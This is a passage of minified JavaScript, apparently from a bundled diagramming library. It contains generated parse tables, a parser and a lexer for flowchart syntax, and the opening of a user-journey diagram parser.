2,49],{47:Bt}),t(ht,[2,72]),t(ht,[2,71]),{22:ft,24:dt,26:pt,38:yt,42:gt,47:q,62:mt,70:vt,72:[1,226],73:191,75:143,76:xt,77:_t,78:kt,79:wt,80:Tt,81:Et,82:Ct,84:134,85:St,95:H,96:V,99:G,100:X,101:At,103:K,104:Q,105:Mt,106:Ot,107:140,114:J,115:tt,116:et,117:nt,118:rt,119:it},t(ht,[2,74]),t(Lt,[2,78]),{22:ft,24:dt,26:pt,38:yt,39:227,42:gt,47:q,62:mt,70:vt,73:132,74:bt,75:143,76:xt,77:_t,78:kt,79:wt,80:Tt,81:Et,82:Ct,84:134,85:St,95:H,96:V,99:G,100:X,101:At,103:K,104:Q,105:Mt,106:Ot,107:140,114:J,115:tt,116:et,117:nt,118:rt,119:it},t(Nt,o,{17:228}),t(P,[2,43]),{46:229,47:f,49:43,81:v,95:b,96:x,99:_,100:k,101:w,103:T,104:E,108:44,114:O,115:N,116:B,117:D,118:L,119:I},{22:Ft,76:Pt,86:230,92:jt,95:Yt,97:231,98:232,99:zt,100:Ut,101:$t,102:qt,103:Wt,104:Ht,105:Vt},{22:Ft,76:Pt,86:244,92:jt,95:Yt,97:231,98:232,99:zt,100:Ut,101:$t,102:qt,103:Wt,104:Ht,105:Vt},{22:Ft,76:Pt,86:245,92:jt,94:[1,246],95:Yt,97:231,98:232,99:zt,100:Ut,101:$t,102:qt,103:Wt,104:Ht,105:Vt},{22:Ft,76:Pt,86:247,92:jt,94:[1,248],95:Yt,97:231,98:232,99:zt,100:Ut,101:$t,102:qt,103:Wt,104:Ht,105:Vt},{95:[1,249]},{22:Ft,76:Pt,86:250,92:jt,95:Yt,97:231,98:232,99:zt,100:Ut,101:$t,102:qt,103:Wt,104:Ht,105:Vt},{22:Ft,76:Pt,86:251,92:jt,95:Yt,97:231,98:232,99:zt,100:Ut,101:$t,102:qt,103:Wt,104:Ht,105:Vt},{26:$,47:q,81:W,87:252,95:H,96:V,99:G,100:X,101:Z,103:K,104:Q,107:94,109:92,114:J,115:tt,116:et,117:nt,118:rt,119:it},t(ct,[2,97]),{74:[1,253]},t(ct,[2,101],{22:[1,254]}),t(ct,[2,102]),t(ct,[2,105]),t(ct,[2,107],{22:[1,255]}),t(ct,[2,108]),t(ot,[2,55]),{22:ft,24:dt,26:pt,38:yt,42:gt,47:q,51:[1,256],62:mt,70:vt,73:191,75:143,76:xt,77:_t,78:kt,79:wt,80:Tt,81:Et,82:Ct,84:134,85:St,95:H,96:V,99:G,100:X,101:At,103:K,104:Q,105:Mt,106:Ot,107:140,114:J,115:tt,116:et,117:nt,118:rt,119:it},t(ot,[2,61]),t(ot,[2,57]),t(ot,[2,58]),t(ot,[2,59]),t(ot,[2,60]),t(ot,[2,62]),{22:ft,24:dt,26:pt,38:yt,42:gt,47:q,61:[1,257],62:mt,70:vt,73:191,75:143,76:xt,77:_t,78:kt,79:wt,80:Tt,81:Et,82:Ct,84:134,85:St,95:H,96:V,99:G,100:X,101:At,103:K,104:Q,105:Mt,106:Ot,107:140,114:J,115:tt,116:et,117:nt,118:rt,119:it},t(ot,[2,64]),t(ot,[2,65]),t(ot,[2,67]),t(ot,[2,66]),t(ot,[2,68]),t(It,[2,4]),t([22,47,81,95,96,99,100,101,103,104,114,115,116,117,118,119],[2,76]),{22:ft,24:dt,26:pt,38:yt,41:[1,258],42:gt,47:q,62:mt,70:vt,73:191,75:143,76:xt,77:_t,78:kt,79:wt,80:Tt,81:Et,82:Ct,84:134,85:St,95:H,96:V,99:G,100:X,101:At,103:K,104:Q,105:Mt,106:Ot,107:140,114:J,115:tt,116:et,117:nt,118:rt,119:it},{18:18,19:19,20:s,21:c,22:u,23:l,32:24,33:25,34:26,35:27,36:28,37:29,38:h,42:[1,259],43:31,45:32,46:42,47:f,49:43,76:d,77:p,78:y,79:g,80:m,81:v,95:b,96:x,99:_,100:k,101:w,103:T,104:E,108:44,110:C,111:S,112:A,113:M,114:O,115:N,116:B,117:D,118:L,119:I},t(at,[2,53]),t(ct,[2,110],{96:Gt}),t(Xt,[2,120],{98:261,22:Ft,76:Pt,92:jt,95:Yt,99:zt,100:Ut,101:$t,102:qt,103:Wt,104:Ht,105:Vt}),t(Zt,[2,122]),t(Zt,[2,124]),t(Zt,[2,125]),t(Zt,[2,126]),t(Zt,[2,127]),t(Zt,[2,128]),t(Zt,[2,129]),t(Zt,[2,130]),t(Zt,[2,131]),t(Zt,[2,132]),t(Zt,[2,133]),t(Zt,[2,134]),t(ct,[2,111],{96:Gt}),t(ct,[2,112],{96:Gt}),{22:[1,262]},t(ct,[2,113],{96:Gt}),{22:[1,263]},t(Rt,[2,119]),t(ct,[2,93],{96:Gt}),t(ct,[2,94],{96:Gt}),t(ct,[2,95],{107:94,109:170,26:$,47:q,81:W,95:H,96:V,99:G,100:X,101:Z,103:K,104:Q,114:J,115:tt,116:et,117:nt,118:rt,119:it}),t(ct,[2,99]),{91:[1,264]},{91:[1,265]},{51:[1,266]},{61:[1,267]},{9:268,20:j,21:Y,23:z},t(P,[2,42]),{22:Ft,76:Pt,92:jt,95:Yt,97:269,98:232,99:zt,100:Ut,101:$t,102:qt,103:Wt,104:Ht,105:Vt},t(Zt,[2,123]),{26:$,47:q,81:W,87:270,95:H,96:V,99:G,100:X,101:Z,103:K,104:Q,107:94,109:92,114:J,115:tt,116:et,117:nt,118:rt,119:it},{26:$,47:q,81:W,87:271,95:H,96:V,99:G,100:X,101:Z,103:K,104:Q,107:94,109:92,114:J,115:tt,116:et,117:nt,118:rt,119:it},t(ct,[2,103]),t(ct,[2,109]),t(ot,[2,56]),t(ot,[2,63]),t(Nt,o,{17:272}),t(Xt,[2,121],{98:261,22:Ft,76:Pt,92:jt,95:Yt,99:zt,100:Ut,101:$t,102:qt,103:Wt,104:Ht,105:Vt}),t(ct,[2,116],{107:94,109:170,22:[1,273],26:$,47:q,81:W,95:H,96:V,99:G,100:X,101:Z,103:K,104:Q,114:J,115:tt,116:et,117:nt,118:rt,119:it}),t(ct,[2,117],{107:94,109:170,22:[1,274],26:$,47:q,81:W,95:H,96:V,99:G,100:X,101:Z,103:K,104:Q,114:J,115:tt,116:et,117:nt,118:rt,119:it}),{18:18,19:19,20:s,21:c,22:u,23:l,32:24,33:25,34:26,35:27,36:28,37:29,38:h,42:[1,275],43:31,45:32,46:42,47:f,49:43,76:d,77:p,78:y,79:g,80:m,81:v,95:b,96:x,99:_,100:k,101:w,103:T,104:E,108:44,110:C,111:S,112:A,113:M,114:O,115:N,116:B,117:D,118:L,119:I},{22:Ft,76:Pt,86:276,92:jt,95:Yt,97:231,98:232,99:zt,100:Ut,101:$t,102:qt,103:Wt,104:Ht,105:Vt},{22:Ft,76:Pt,86:277,92:jt,95:Yt,97:231,98:232,99:zt,100:Ut,101:$t,102:qt,103:Wt,104:Ht,105:Vt},t(P,[2,41]),t(ct,[2,114],{96:Gt}),t(ct,[2,115],{96:Gt})],defaultActions:{2:[2,1],9:[2,5],10:[2,2],124:[2,7]},parseError:function(t,e){if(!e.recoverable){var n=new Error(t);throw n.hash=e,n}this.trace(t)},parse:function(t){var e=this,n=[0],r=[],i=[null],a=[],o=this.table,s="",c=0,u=0,l=0,h=2,f=1,d=a.slice.call(arguments,1),p=Object.create(this.lexer),y={yy:{}};for(var g in this.yy)Object.prototype.hasOwnProperty.call(this.yy,g)&&(y.yy[g]=this.yy[g]);p.setInput(t,y.yy),y.yy.lexer=p,y.yy.parser=this,void 0===p.yylloc&&(p.yylloc={});var m=p.yylloc;a.push(m);var v=p.options&&p.options.ranges;function b(){var t;return"number"!=typeof(t=r.pop()||p.lex()||f)&&(t instanceof Array&&(t=(r=t).pop()),t=e.symbols_[t]||t),t}"function"==typeof y.yy.parseError?this.parseError=y.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;for(var x,_,k,w,T,E,C,S,A,M={};;){if(k=n[n.length-1],this.defaultActions[k]?w=this.defaultActions[k]:(null==x&&(x=b()),w=o[k]&&o[k][x]),void 0===w||!w.length||!w[0]){var O="";for(E in A=[],o[k])this.terminals_[E]&&E>h&&A.push("'"+this.terminals_[E]+"'");O=p.showPosition?"Parse error on line "+(c+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[x]||x)+"'":"Parse error on line "+(c+1)+": Unexpected "+(x==f?"end of input":"'"+(this.terminals_[x]||x)+"'"),this.parseError(O,{text:p.match,token:this.terminals_[x]||x,line:p.yylineno,loc:m,expected:A})}if(w[0]instanceof Array&&w.length>1)throw new Error("Parse Error: multiple actions possible at state: "+k+", token: "+x);switch(w[0]){case 1:n.push(x),i.push(p.yytext),a.push(p.yylloc),n.push(w[1]),x=null,_?(x=_,_=null):(u=p.yyleng,s=p.yytext,c=p.yylineno,m=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[w[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},v&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,u,c,y.yy,w[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[w[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},Qt={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{},performAction:function(t,e,n,r){switch(n){case 0:return this.begin("open_directive"),12;case 1:return this.begin("type_directive"),13;case 2:return this.popState(),this.begin("arg_directive"),10;case 3:return this.popState(),this.popState(),15;case 4:return 14;case 5:case 6:break;case 7:this.begin("string");break;case 8:this.popState();break;case 9:return"STR";case 10:return 76;case 11:return 85;case 12:return 77;case 13:return 94;case 14:return 78;case 15:return 79;case 16:this.begin("href");break;case 17:this.popState();break;case 18:return 90;case 19:this.begin("callbackname");break;case 20:this.popState();break;case 21:this.popState(),this.begin("callbackargs");break;case 22:return 88;case 23:this.popState();break;case 24:return 89;case 25:this.begin("click");break;case 26:this.popState();break;case 27:return 80;case 28:case 29:return t.lex.firstGraph()&&this.begin("dir"),24;case 30:return 38;case 31:return 42;case 32:case 33:case 34:case 35:return 91;case 36:return this.popState(),25;case 37:case 38:case 39:case 40:case 41:case 42:case 43:case 44:case 45:case 46:return this.popState(),26;case 47:return 110;case 48:return 111;case 49:return 112;case 50:return 113;case 51:return 95;case 52:return 103;case 53:return 48;case 54:return 100;case 55:return 47;case 56:return 20;case 57:return 96;case 58:return 118;case 59:case 60:case 61:return 71;case 62:case 63:case 64:return 70;case 65:return 52;case 66:return 53;case 67:return 54;case 68:return 55;case 69:return 56;case 70:return 57;case 71:return 58;case 72:return 59;case 73:return 101;case 74:return 104;case 75:return 119;case 76:return 116;case 77:return 105;case 78:case 79:return 117;case 80:return 106;case 81:return 62;case 82:return 82;case 83:return"SEP";case 84:return 81;case 85:return 99;case 86:return 64;case 87:return 63;case 88:return 66;case 89:return 65;case 90:return 114;case 91:return 115;case 92:return 72;case 93:return 50;case 94:return 51;case 95:return 40;case 96:return 41;case 97:return 60;case 98:return 61;case 99:return 125;case 100:return 21;case 101:return 22;case 102:return 23}},rules:[/^(?:%%\{)/,/^(?:((?:(?!\}%%)[^:.])*))/,/^(?::)/,/^(?:\}%%)/,/^(?:((?:(?!\}%%).|\n)*))/,/^(?:%%(?!\{)[^\n]*)/,/^(?:[^\}]%%[^\n]*)/,/^(?:["])/,/^(?:["])/,/^(?:[^"]*)/,/^(?:style\b)/,/^(?:default\b)/,/^(?:linkStyle\b)/,/^(?:interpolate\b)/,/^(?:classDef\b)/,/^(?:class\b)/,/^(?:href[\s]+["])/,/^(?:["])/,/^(?:[^"]*)/,/^(?:call[\s]+)/,/^(?:\([\s]*\))/,/^(?:\()/,/^(?:[^(]*)/,/^(?:\))/,/^(?:[^)]*)/,/^(?:click[\s]+)/,/^(?:[\s\n])/,/^(?:[^\s\n]*)/,/^(?:graph\b)/,/^(?:flowchart\b)/,/^(?:subgraph\b)/,/^(?:end\b\s*)/,/^(?:_self\b)/,/^(?:_blank\b)/,/^(?:_parent\b)/,/^(?:_top\b)/,/^(?:(\r?\n)*\s*\n)/,/^(?:\s*LR\b)/,/^(?:\s*RL\b)/,/^(?:\s*TB\b)/,/^(?:\s*BT\b)/,/^(?:\s*TD\b)/,/^(?:\s*BR\b)/,/^(?:\s*<)/,/^(?:\s*>)/,/^(?:\s*\^)/,/^(?:\s*v\b)/,/^(?:.*direction\s+TB[^\n]*)/,/^(?:.*direction\s+BT[^\n]*)/,/^(?:.*direction\s+RL[^\n]*)/,/^(?:.*direction\s+LR[^\n]*)/,/^(?:[0-9]+)/,/^(?:#)/,/^(?::::)/,/^(?::)/,/^(?:&)/,/^(?:;)/,/^(?:,)/,/^(?:\*)/,/^(?:\s*[xo<]?--+[-xo>]\s*)/,/^(?:\s*[xo<]?==+[=xo>]\s*)/,/^(?:\s*[xo<]?-?\.+-[xo>]?\s*)/,/^(?:\s*[xo<]?--\s*)/,/^(?:\s*[xo<]?==\s*)/,/^(?:\s*[xo<]?-\.\s*)/,/^(?:\(-)/,/^(?:-\))/,/^(?:\(\[)/,/^(?:\]\))/,/^(?:\[\[)/,/^(?:\]\])/,/^(?:\[\()/,/^(?:\)\])/,/^(?:-)/,/^(?:\.)/,/^(?:[\_])/,/^(?:\+)/,/^(?:%)/,/^(?:=)/,/^(?:=)/,/^(?:<)/,/^(?:>)/,/^(?:\^)/,/^(?:\\\|)/,/^(?:v\b)/,/^(?:[A-Za-z]+)/,/^(?:\\\])/,/^(?:\[\/)/,/^(?:\/\])/,/^(?:\[\\)/,/^(?:[!"#$%&'*+,-.`?\\_/])/,/^(?:[\u00AA\u00B5\u00BA\u00C0-\u00D6\u00D8-\u00F6]|[\u00F8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377]|[\u037A-\u037D\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5]|[\u03F7-\u0481\u048A-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA]|[\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE]|[\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA]|[\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u08A0]|[\u08A2-\u08AC\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0977]|[\u0979-\u097F\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2]|[\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u0A05-\u0A0A]|[\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39]|[\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8]|[\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0B05-\u0B0C]|[\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C]|[\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99]|[\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0]|[\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C33\u0C35-\u0C39\u0C3D]|[\u0C58\u0C59\u0C60\u0C61\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3]|[\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10]|[\u0D12-\u0D3A\u0D3D\u0D4E\u0D60\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1]|[\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81]|[\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3]|[\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6]|[\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A]|[\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081]|[\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D]|[\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0]|[\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310]|[\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F4\u1401-\u166C]|[\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u1700-\u170C\u170E-\u1711]|[\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7]|[\u17DC\u1820-\u1877\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191C]|[\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19C1-\u19C7\u1A00-\u1A16]|[\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF]|[\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1CE9-\u1CEC]|[\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D]|[\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D]|[\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3]|[\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F]|[\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128]|[\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2183\u2184]|[\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3]|[\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6]|[\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE]|[\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005\u3006\u3031-\u3035\u303B\u303C]|[\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D]|[\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FCC]|[\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B]|[\uA640-\uA66E\uA67F-\uA697\uA6A0-\uA6E5\uA717-\uA71F\uA722-\uA788]|[\uA78B-\uA78E\uA790-\uA793\uA7A0-\uA7AA\uA7F8-\uA801\uA803-\uA805]|[\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB]|[\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uAA00-\uAA28]|[\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA80-\uAAAF\uAAB1\uAAB5]|[\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4]|[\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E]|[\uABC0-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D]|[\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36]|[\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D]|[\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC]|[\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF]|[\uFFD2-\uFFD7\uFFDA-\uFFDC])/,/^(?:\|)/,/^(?:\()/,/^(?:\))/,/^(?:\[)/,/^(?:\])/,/^(?:\{)/,/^(?:\})/,/^(?:")/,/^(?:(\r?\n)+)/,/^(?:\s)/,/^(?:$)/],conditions:{close_directive:{rules:[],inclusive:!1},arg_directive:{rules:[3,4],inclusive:!1},type_directive:{rules:[2,3],inclusive:!1},open_directive:{rules:[1],inclusive:!1},callbackargs:{rules:[23,24],inclusive:!1},callbackname:{rules:[20,21,22],inclusive:!1},href:{rules:[17,18],inclusive:!1},click:{rules:[26,27],inclusive:!1},vertex:{rules:[],inclusive:!1},dir:{rules:[36,37,38,39,40,41,42,43,44,45,46],inclusive:!1},string:{rules:[8,9],inclusive:!1},INITIAL:{rules:[0,5,6,7,10,11,12,13,14,15,16,19,25,28,29,30,31,32,33,34,35,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102],inclusive:!0}}};function Jt(){this.yy={}}return Kt.lexer=Qt,Jt.prototype=Kt,Kt.Parser=Jt,new Jt}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(17).readFileSync(n(18).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(12),n(7)(t))},function(t,e,n){(function(t,r){var i=function(){var t=function(t,e,n,r){for(n=n||{},r=t.length;r--;n[t[r]]=e);return n},e=[1,2],n=[1,5],r=[6,9,11,17,18,19,21],i=[1,15],a=[1,16],o=[1,17],s=[1,21],c=[4,6,9,11,17,18,19,21],u={trace:function(){},yy:{},symbols_:{error:2,start:3,journey:4,document:5,EOF:6,directive:7,line:8,SPACE:9,statement:10,NEWLINE:11,openDirective:12,typeDirective:13,closeDirective:14,":":15,argDirective:16,title:17,section:18,taskName:19,taskData:20,open_directive:21,type_directive:22,arg_directive:23,close_directive:24,$accept:0,$end:1},terminals_:{2:"error",4:"journey",6:"EOF",9:"SPACE",11:"NEWLINE",15:":",17:"title",18:"section",19:"taskName",20:"taskData",21:"open_directive",22:"type_directive",23:"arg_directive",24:"close_directive"},productions_:[0,[3,3],[3,2],[5,0],[5,2],[8,2],[8,1],[8,1],[8,1],[7,4],[7,6],[10,1],[10,1],[10,2],[10,1],[12,1],[13,1],[16,1],[14,1]],performAction:function(t,e,n,r,i,a,o){var s=a.length-1;switch(i){case 1:return a[s-1];case 3:this.$=[];break;case 4:a[s-1].push(a[s]),this.$=a[s-1];break;case 5:case 6:this.$=a[s];break;case 7:case 8:this.$=[];break;case 11:r.setTitle(a[s].substr(6)),this.$=a[s].substr(6);break;case 12:r.addSection(a[s].substr(8)),this.$=a[s].substr(8);break;case 13:r.addTask(a[s-1],a[s]),this.$="task";break;case 15:r.parseDirective("%%{","open_directive");break;case 16:r.parseDirective(a[s],"type_directive");break;case 17:a[s]=a[s].trim().replace(/'/g,'"'),r.parseDirective(a[s],"arg_directive");break;case 